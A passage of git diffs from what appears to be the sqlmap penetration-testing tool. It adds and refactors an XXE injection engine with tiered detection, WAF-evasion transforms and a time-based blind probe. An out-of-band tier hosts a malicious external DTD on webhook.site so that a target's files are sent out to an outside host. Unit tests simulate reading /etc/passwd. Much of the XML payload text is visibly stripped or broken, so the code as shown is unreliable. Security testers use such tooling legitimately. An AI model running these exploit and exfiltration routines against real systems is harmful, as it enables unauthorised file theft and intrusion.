_confirmRead(_send(payload), pattern, baseline) + if confirmed: + return payload, systemId, confirmed + return None, None, None + + +def _tryEvasions(xml, rootName, baseline): + """T5 WAF-evasion fallbacks, tried only when the straightforward tiers fail. + Each transform keeps the payload semantically identical while defeating a + common naive filter, so a reachable-but-filtered parser can still be caught. + Returns (title, payload) on a confirmed hit.""" + + # (1) UTF-16 re-encoding: libxml2/Xerces honor the BOM-declared encoding while + # ASCII byte-signature WAFs (grepping for "' % (ent, SENTINEL) + body = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(getText(body).encode("utf-16")) # BOM-prefixed UTF-16, py2/py3 alike + if SENTINEL in page and not _echoed(page) and SENTINEL not in baseline: + return "In-band via UTF-16 re-encoding (WAF evasion)", getUnicode(body) + + # (2) PUBLIC keyword instead of SYSTEM: bypasses filters that only blocklist + # the SYSTEM identifier; the second literal is still the resolved system id. + subset = '\n%%xxe;' % SENTINEL + body = _buildDoctype(xml, rootName, subset) + page = _send(body) + if SENTINEL in page and not _echoed(page): + return "Error-based via PUBLIC keyword (WAF evasion)", body + + return None, None + + +def _timed(body, timeout): + """One request, returning wall-clock seconds. ignoreTimeout keeps a stalled + parser from raising, so the elapsed time itself is the signal.""" + start = time.time() + try: + Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), + raise404=False, silent=True, ignoreTimeout=True, timeout=timeout) + except Exception: + pass + return time.time() - start + + +def _tryTimeBlind(xml, rootName): + """T6 last-resort blind detection with NO collector: an external parameter + entity aimed at a non-routable TEST-NET host stalls a fetching parser on the + connection. Confirmed only on a large, reproducible delay measured against a + DTD-processing control (an internal parameter entity, no fetch) - so DTD + overhead alone cannot trip it and only the outbound-fetch stall counts.""" + + control = _buildDoctype(xml, rootName, '\n%%c;') + baseline = max(_timed(control, conf.timeout), _timed(control, conf.timeout)) + threshold = baseline + XXE_TIME_THRESHOLD + probeTimeout = min(conf.timeout, int(baseline) + XXE_TIME_THRESHOLD + 3) + + # Bound each stalled probe: the per-call timeout kwarg does not reach a pooled + # socket, so cap via conf.timeout (the value the connection actually uses) and + # drop conf.retries so a stall is not re-sent. Restored in finally. + _timeout, _retries = conf.timeout, conf.retries + conf.timeout, conf.retries = probeTimeout, 0 + try: + subset = '\n%%x;' % (XXE_BLACKHOLE_HOST, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + + if _timed(payload, probeTimeout) < threshold: + return None + if _timed(payload, probeTimeout) < threshold: # must reproduce + return None + return payload + finally: + conf.timeout, conf.retries = _timeout, _retries + + +def _oobEnabled(): + """Out-of-band tiers contact a public third party by default. Honour an explicit + opt-out (`--oob-server none`) for sensitive engagements.""" + return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false") + + +def _tryOobExfil(xml, rootName): + """T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on + a public content+logging service (webhook.site), point the target's parser at + it, and read the file it ships back out. The DTD uses the classic nested + parameter-entity chain (only valid in an EXTERNAL DTD) and php://filter base64 + so any file survives the callback URL. The DTD-fetch itself doubles as blind + detection. Reads conf.fileRead if given, else a benign default. Returns a dict + {payload, filename, content, detected} or None if the service is unusable.""" + + from lib.core.convert import decodeBase64 + from lib.request.webhooksite import WebhookSite + + wh = WebhookSite() + exfilToken = wh.newToken() + if not exfilToken: + logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)") + return None + + target = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE + exfilUrl = "%s/?x=%%file;" % wh.hostUrl(exfilToken) + dtd = ('\n' + '">\n' + '%%eval;\n%%exfil;') % (target, exfilUrl) + dtdToken = wh.newToken(dtd) + if not dtdToken: + return None + + singleTimeWarnMessage("using public out-of-band exfiltration service '%s' for blind XXE" % wh.endpoint) + payload = _buildDoctype(xml, rootName, ' %%dtd;' % wh.hostUrl(dtdToken)) + _send(payload) + + content, detected = None, False + for _ in range(OOB_POLL_ATTEMPTS): + time.sleep(OOB_POLL_DELAY) + for record in wh.captured(exfilToken): + leaked = (record.get("query") or {}).get("x") + if leaked: + try: + content = getText(decodeBase64(leaked)) + except Exception: + content = getText(leaked) + break + if content: + break + if not detected and wh.captured(dtdToken): + detected = True # the target fetched our DTD -> blind XXE confirmed even without exfil + + if not detected: + detected = bool(wh.captured(dtdToken)) + return {"payload": payload, "filename": target, "content": content, "detected": detected} + + +def _tryOob(xml, rootName): + """T7 blind confirmation via an out-of-band collector (interactsh): an external + parameter entity points at a unique callback URL. If the target's parser fetches + it (or even just resolves its DNS), the collector records the interaction and we + poll it back - definitive proof of blind XXE with egress, and it names the + channel (HTTP vs DNS-only). Returns (payload, protocol) or None.""" + + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + logger.debug("out-of-band blind XXE tier skipped (optional 'pycryptodome' not installed)") + return None + + client = Interactsh(server=conf.get("oobServer")) + if not client.registered: + logger.debug("out-of-band blind XXE tier skipped (could not register with an interaction server)") + return None + + singleTimeWarnMessage("using out-of-band interaction server '%s' for blind XXE confirmation (override with '--oob-server')" % client.server) + try: + url = client.url() + subset = '\n%%oob;' % url + payload = _buildDoctype(xml, rootName, subset) + _send(payload) + interactions = client.pollUntil(OOB_POLL_ATTEMPTS, OOB_POLL_DELAY) + if interactions: + protocols = sorted(set((_.get("protocol") or "?").upper() for _ in interactions)) + return payload, ", ".join(protocols) + finally: + client.close() + return None + + +def xxeScan(): + global SENTINEL + SENTINEL = randomStr(length=12, lowercase=True) + + debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " + debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " + debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored" + logger.debug(debugMsg) + + xml = _cleanBody() + if not _looksXml(xml): + logger.error("no XML body found to test (provide an XML request body via '--data' or '-r')") + return + + rootName = _rootName(xml) + if not rootName: + logger.error("could not locate the document root element in the XML body") + return + + logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName) + + baseline = _send(xml) + found = False + + # T2: in-band reflected (internal entity expansion) - the strongest oracle + payload, page = _tryInternal(xml, rootName, baseline) + if payload: + found = True + logger.info("the XML body is vulnerable to XXE injection (in-band, entity expansion enabled)") + _report("In-band (reflected internal entity)", payload) + + if conf.get("fileRead"): + content = _tryInbandFileRead(xml, rootName, conf.fileRead) + if content: + logger.info("in-band file read of '%s' succeeded" % conf.fileRead) + _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) + _dumpFileRead(conf.fileRead, content) + + systemId, snippet = _tryExternalFile(xml, rootName, baseline) + if systemId: + logger.info("file-read impact confirmed via external entity ('%s'): '%s'" % (systemId, snippet)) + _report("Out-of-band file read (external entity '%s')" % systemId, " -> %s" % (systemId, snippet)) + else: + phpPayload = _tryPhpFilter(xml, rootName, baseline) + if phpPayload: + logger.info("file-read impact confirmed via php://filter (base64 source disclosure)") + _report("File read via php://filter (base64)", phpPayload) + + # T3: error-based (works where entities are not reflected but errors leak) + errorChannel = False + if not found: + payload, page = _tryError(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend) + _report("Error-based (parameter entity, back-end: '%s')" % backend, payload) + + # T3b: no-egress error-based via local-DTD repurposing + if not found: + payload, page = _tryLocalDtd(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)") + _report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload) + + # T3c: error-based FILE EXFILTRATION - upgrade a confirmed error channel to an + # in-band file read (or attempt it directly when the user asked via --file-read) + if errorChannel or conf.get("fileRead"): + content, fileName = _tryErrorExfil(xml, rootName) + if content: + found = True + logger.info("the XML body is vulnerable to XXE injection (error-based in-band file read of '%s')" % fileName) + _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) + _dumpFileRead(fileName, content) + + # T4: XInclude fallback (no DOCTYPE/entity control needed) + if not found: + payload, systemId, snippet = _tryXInclude(xml, rootName, baseline) + if payload: + found = True + logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) + _report("XInclude file read ('%s')" % systemId, payload) + + # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM) + if not found: + title, payload = _tryEvasions(xml, rootName, baseline) + if title: + found = True + logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower()) + _report(title, payload) + + # T6: time-based blind (no collector, no third party) - external entity to a non-routable host + if not found: + logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow") + payload = _tryTimeBlind(xml, rootName) + if payload: + found = True + logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") + _report("Time-based blind (external entity to non-routable host)", payload) + + # T7: out-of-band exfiltration via a hosted malicious DTD (also confirms blind XXE) + if not found and _oobEnabled(): + exfil = _tryOobExfil(xml, rootName) + if exfil and (exfil["content"] or exfil["detected"]): + found = True + if exfil["content"]: + logger.info("the XML body is vulnerable to blind XXE injection (out-of-band file read of '%s')" % exfil["filename"]) + _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) + _dumpFileRead(exfil["filename"], exfil["content"]) + else: + logger.info("the XML body is vulnerable to blind XXE injection (out-of-band, target fetched the hosted DTD)") + _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) + + # T8: out-of-band blind confirmation via an interaction server (DNS+HTTP callback) + if not found and _oobEnabled(): + result = _tryOob(xml, rootName) + if result: + payload, protocol = result + found = True + logger.info("the XML body is vulnerable to XXE injection (out-of-band, confirmed via %s interaction with the collector)" % protocol) + _report("Out-of-band blind (collector callback: %s)" % protocol, payload) + + if not found: + # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser + # from a merely non-reflecting one so the user knows why it did not fire. + probe = _send(_buildDoctype(xml, rootName, '%%p;' % SENTINEL)) + if re.search(XXE_HARDENED_REGEX, getUnicode(probe)): + logger.info("the XML parser is reachable but appears hardened against XXE (DTD/external entities refused)") + else: + backend = _fingerprint(probe) + if backend: + logger.info("the XML body reaches a parser (back-end: '%s') but no XXE oracle could be established" % backend) + logger.warning("the XML body does not appear to be injectable via XXE") + return + + logger.info("XXE scan complete") diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py index 613518b7a..234781297 100644 --- a/tests/test_dns_server.py +++ b/tests/test_dns_server.py @@ -23,7 +23,7 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) from lib.core.settings import MAX_DNS_REQUESTS -from lib.request.dns import DNSQuery, DNSServer +from lib.request.dns import DNSQuery, DNSServer, InteractshDNSServer def build_query(name, tid=b"\x12\x34", qtype=1): @@ -324,3 +324,41 @@ class TestDNSServerConcurrency(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +class TestInteractshDNSServer(unittest.TestCase): + """The interactsh-backed DNS collector must present the same pop(prefix, suffix) + accounting as DNSServer, matching only prefix..suffix names and never + returning the same captured lookup twice.""" + + def _collector(self, names): + class _FakeClient(object): + registered = True + def dnsDomain(self): return "corr0000000000000nnc.oast.fun" + def dnsNames(self): return list(names) + srv = InteractshDNSServer.__new__(InteractshDNSServer) + srv._client = _FakeClient() + srv.domain = srv._client.dnsDomain() + srv._seen = set() + srv._running = True + srv._initialized = True + return srv + + def test_pop_matches_prefix_suffix_and_dedups(self): + names = ["aaa.5345435245540a.zzz.corr0000000000000nnc", "unrelated.corr0000000000000nnc"] + srv = self._collector(names) + got = srv.pop("aaa", "zzz") + self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc") + self.assertIsNone(srv.pop("aaa", "zzz")) # already consumed + + def test_pop_no_match(self): + srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"]) + self.assertIsNone(srv.pop("aaa", "zzz")) + + def test_pop_any(self): + srv = self._collector(["whatever.corr0000000000000nnc"]) + self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc") + + def test_run_is_noop(self): + self._collector([]).run() # must not raise + diff --git a/tests/test_xxe.py b/tests/test_xxe.py new file mode 100644 index 000000000..0c29c0585 --- /dev/null +++ b/tests/test_xxe.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the XXE injection engine. Pure helpers are exercised +directly; detection tiers run against a mocked _send() so reflected/error/echo oracles +can be simulated without a live target; and crafted payloads are parsed with real lxml +to prove they are well-formed and actually expand the injected entity. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.xxe.inject as xxe +from lib.core.data import conf +from lib.core.data import kb + + +class TestLooksXmlAndClean(unittest.TestCase): + def test_looks_xml(self): + self.assertTrue(xxe._looksXml("x")) + self.assertTrue(xxe._looksXml(" ")) + self.assertFalse(xxe._looksXml("id=1&name=x")) + self.assertFalse(xxe._looksXml("{\"a\": 1}")) + self.assertFalse(xxe._looksXml("")) + + def test_clean_body_strips_marks_and_bom(self): + conf.data = u"\ufeffluther%s" % (kb.customInjectionMark or "*") + cleaned = xxe._cleanBody() + self.assertFalse(cleaned.startswith(u"\ufeff")) + self.assertNotIn(kb.customInjectionMark or "*", cleaned) + self.assertTrue(cleaned.startswith("")) + + +class TestRootName(unittest.TestCase): + def test_plain(self): + self.assertEqual(xxe._rootName("x"), "user") + + def test_with_prolog_and_comment(self): + self.assertEqual(xxe._rootName("x"), "order") + + def test_namespaced(self): + self.assertEqual(xxe._rootName(''), "soap:Envelope") + + def test_existing_doctype_skipped(self): + self.assertEqual(xxe._rootName(''), "user") + + +class TestBuildDoctype(unittest.TestCase): + SUBSET = '' + + def test_no_doctype_prepended(self): + out = xxe._buildDoctype("x", "r", self.SUBSET) + self.assertIn("x", "r", self.SUBSET) + self.assertLess(out.index("]>x", "r", self.SUBSET) + self.assertEqual(out.count("x', "r", self.SUBSET) + self.assertEqual(out.count("onetwo

", "&e;") + self.assertEqual(out.count("&e;"), 2) + self.assertNotIn("one", out) + self.assertNotIn("two", out) + + def test_attributes_only_when_requested(self): + text = 'luther' + self.assertNotIn('id="&e;"', xxe._placeRef(text, "&e;")) # attrs off by default + self.assertIn('id="&e;"', xxe._placeRef(text, "&e;", attrs=True)) # attrs on + + def test_xmlns_preserved(self): + out = xxe._placeRef('x', "&e;", attrs=True) + self.assertIn('xmlns:soap="ns"', out) # namespace decl untouched + + def test_self_closing_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + self.assertIn("", out) + + def test_empty_element_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + + +class TestGuards(unittest.TestCase): + def test_echoed(self): + self.assertTrue(xxe._echoed("... luther", "u", baseline="Hello, luther!") + self.assertIsNotNone(payload) + + def test_internal_echo_rejected(self): + # endpoint mirrors the raw body back (never parses) -> must NOT be a hit + xxe._send = lambda body: "You sent: %s" % body + payload, _ = xxe._tryInternal("luther", "u", baseline="You sent: luther") + self.assertIsNone(payload) + + def test_internal_baseline_contains_sentinel_rejected(self): + xxe._send = lambda body: "Hello, %s!" % xxe.SENTINEL + payload, _ = xxe._tryInternal("luther", "u", baseline="already %s here" % xxe.SENTINEL) + self.assertIsNone(payload) + + def test_error_based_positive(self): + xxe._send = lambda body: 'XML error: failed to load external entity "file:///%s/nonexistent"' % xxe.SENTINEL + payload, page = xxe._tryError("x", "u") + self.assertIsNotNone(payload) + self.assertIsNotNone(xxe._fingerprint(page)) + + def test_error_based_echo_rejected(self): + xxe._send = lambda body: "You sent: %s" % body # echoes DOCTYPE/ENTITY -> _echoed guard + payload, _ = xxe._tryError("x", "u") + self.assertIsNone(payload) + + def test_error_exfil_extraction_base64(self): + import base64 + from lib.core.convert import getText + secret = getText(base64.b64encode(b"root:x:0:0:root:/root:/bin/sh")) + + def mock(body): + m = re.search(r'file:///(\w+)/%file;', body) or re.search(r'file:///(\w+)/%file;', body) + marker = m.group(1) if m else "zzz" + return 'failed to load "file:///%s/%s"' % (marker, secret) + + xxe._send = mock + conf.fileRead = "/etc/passwd" + try: + content, name = xxe._tryErrorExfil("x", "u") + finally: + conf.fileRead = None + self.assertEqual(name, "/etc/passwd") + self.assertIn("root:x:0:0", content or "") + + +class TestRealXmlPayloads(unittest.TestCase): + """Prove crafted payloads are well-formed and actually expand the entity.""" + + @staticmethod + def _expand(payload): + try: + from lxml import etree + except ImportError: + raise unittest.SkipTest("lxml not available") + parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True, huge_tree=False) + doc = etree.fromstring(payload.encode("utf-8"), parser) + return "".join(doc.itertext()) + + def test_internal_entity_expands(self): + xxe.SENTINEL = "realxmlsentinel" + ent = "abcd" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype("luther", "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_internal_entity_expands_with_existing_doctype(self): + xxe.SENTINEL = "realxmlsentinel2" + ent = "efgh" + subset = '' % (ent, xxe.SENTINEL) + base = ']>luther' + payload = xxe._placeRef(xxe._buildDoctype(base, "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_attribute_entity_expands(self): + xxe.SENTINEL = "attrsentinel" + ent = "ijkl" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype('x', "u", subset), "&%s;" % ent, attrs=True) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + +if __name__ == "__main__": + unittest.main() From 3cf29a543a7d7913ac04fb6b5fd771707438d72b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 10:36:10 +0200 Subject: [PATCH 132/165] Refactoring for --xxe --- data/txt/sha256sums.txt | 10 +- lib/core/settings.py | 12 +- lib/request/interactsh.py | 8 +- lib/request/webhooksite.py | 32 ++++- lib/techniques/xxe/inject.py | 232 +++++++++++++++++++++++------------ tests/test_xxe.py | 116 ++++++++++++++++++ 6 files changed, 313 insertions(+), 97 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ed2947c53..e1c202926 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d974c44979d7699feda3eafeb1baee9618cb6dbe27b144a6d36bec95527c5cee lib/core/settings.py +c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -220,14 +220,14 @@ b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -fa51d6c8855049ac18b8c08dfea87df3ce0ebcc094d62322e9f615284bca54af lib/request/interactsh.py +df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py -58da8988a650c19e080980e545216158ba267065374c6812dabe0b22c1407bd2 lib/request/webhooksite.py +b53a750d957dc50cee15261358cafc3d339b8b28d70ebecf202009d0c13037a6 lib/request/webhooksite.py 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -9a74178421ea0d98f7b27062e97eb55a12236deb893c2ef5f26fb6e734001f32 lib/techniques/xxe/inject.py +d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -140aa78a94fb97e364cead82149f5a2c33d576b721f39ae52a6352072d770793 tests/test_xxe.py +b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7f4522c89..86505b7b1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.24" +VERSION = "1.10.7.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1102,13 +1102,12 @@ XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:externa OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") # Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration # (hosts the malicious external DTD and captures the file-bearing callback). Unlike -# interactsh it can serve arbitrary content; HTTP-only. Default exfil target is benign. +# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent. OOB_EXFIL_ENDPOINT = "https://webhook.site" -OOB_EXFIL_DEFAULT_FILE = "/etc/hostname" OOB_CORRELATION_ID_LENGTH = 20 OOB_NONCE_LENGTH = 13 -OOB_POLL_ATTEMPTS = 5 -OOB_POLL_DELAY = 2 +OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the +OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort) # Time-based blind tier: an external entity aimed at this non-routable RFC5737 # TEST-NET-1 host makes a fetching parser stall on the connection, so a large, @@ -1118,9 +1117,8 @@ XXE_BLACKHOLE_HOST = "192.0.2.1" XXE_TIME_THRESHOLD = 5 XXE_IMPACT_FILES = ( - ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # high-signal, tried first + ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), - ("file:///etc/hostname", r"^[\w.-]{1,255}$"), # loosest pattern, tried last ) # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py index b089dcd75..e57a09537 100644 --- a/lib/request/interactsh.py +++ b/lib/request/interactsh.py @@ -88,9 +88,13 @@ class Interactsh(object): handlers = [] try: + # Verify TLS for the (public, valid-cert) interaction server by default; + # only skip verification when the user has globally opted out (--force-ssl-verify + # off / verifyCert False), matching sqlmap's own TLS posture. context = ssl.create_default_context() - context.check_hostname = False - context.verify_mode = ssl.CERT_NONE + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE handlers.append(HTTPSHandler(context=context)) except Exception: pass diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py index 9191ae3ff..dac6edf6b 100644 --- a/lib/request/webhooksite.py +++ b/lib/request/webhooksite.py @@ -7,11 +7,12 @@ See the file 'LICENSE' for copying permission import json +from lib.core.data import conf from lib.core.data import logger +from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.enums import HTTP_HEADER from lib.core.settings import OOB_EXFIL_ENDPOINT -from lib.request.connect import Connect as Request # webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom # response (our malicious external DTD) AND log the request the target then makes @@ -21,8 +22,9 @@ from lib.request.connect import Connect as Request class WebhookSite(object): """Thin webhook.site client: mints tokens (optionally serving fixed content) - and reads back the requests captured on them. All calls go through sqlmap's - request stack (proxy/timeout honoured) straight to the service, not the target.""" + and reads back the requests captured on them. Self-contained on urllib (like the + interactsh client): sqlmap's getPage caches by URL, which would make repeated + polls of the same /requests URL return a stale snapshot and miss the callback.""" def __init__(self): # Exfil host is the public content-serving endpoint (its token API is @@ -32,10 +34,28 @@ class WebhookSite(object): def _api(self, path, post=None): try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} - page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post, - auxHeaders=headers, direct=True, silent=True, raise404=False) - return page if (code is None or code in (200, 201)) else None + handlers = [] + try: + context = ssl.create_default_context() + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) except Exception as ex: logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex))) return None diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 0a585c4d7..5876a7f06 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -11,6 +11,7 @@ import time from lib.core.common import beep from lib.core.common import dataToOutFile from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.convert import getBytes from lib.core.convert import getText @@ -21,12 +22,12 @@ from lib.core.data import logger from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD from lib.core.settings import ASTERISK_MARKER from lib.core.settings import XXE_BLACKHOLE_HOST from lib.core.settings import XXE_ERROR_SIGNATURES from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES -from lib.core.settings import OOB_EXFIL_DEFAULT_FILE from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_DELAY from lib.core.settings import XXE_LOCAL_DTDS @@ -38,6 +39,14 @@ from lib.request.connect import Connect as Request # so its presence in a response is unambiguously our reflected/expanded value. SENTINEL = randomStr(length=12, lowercase=True) +# When the user marked an explicit injection point in the body (e.g. 'luther*'), +# it is preserved as this placeholder and used as the SOLE injection spot, 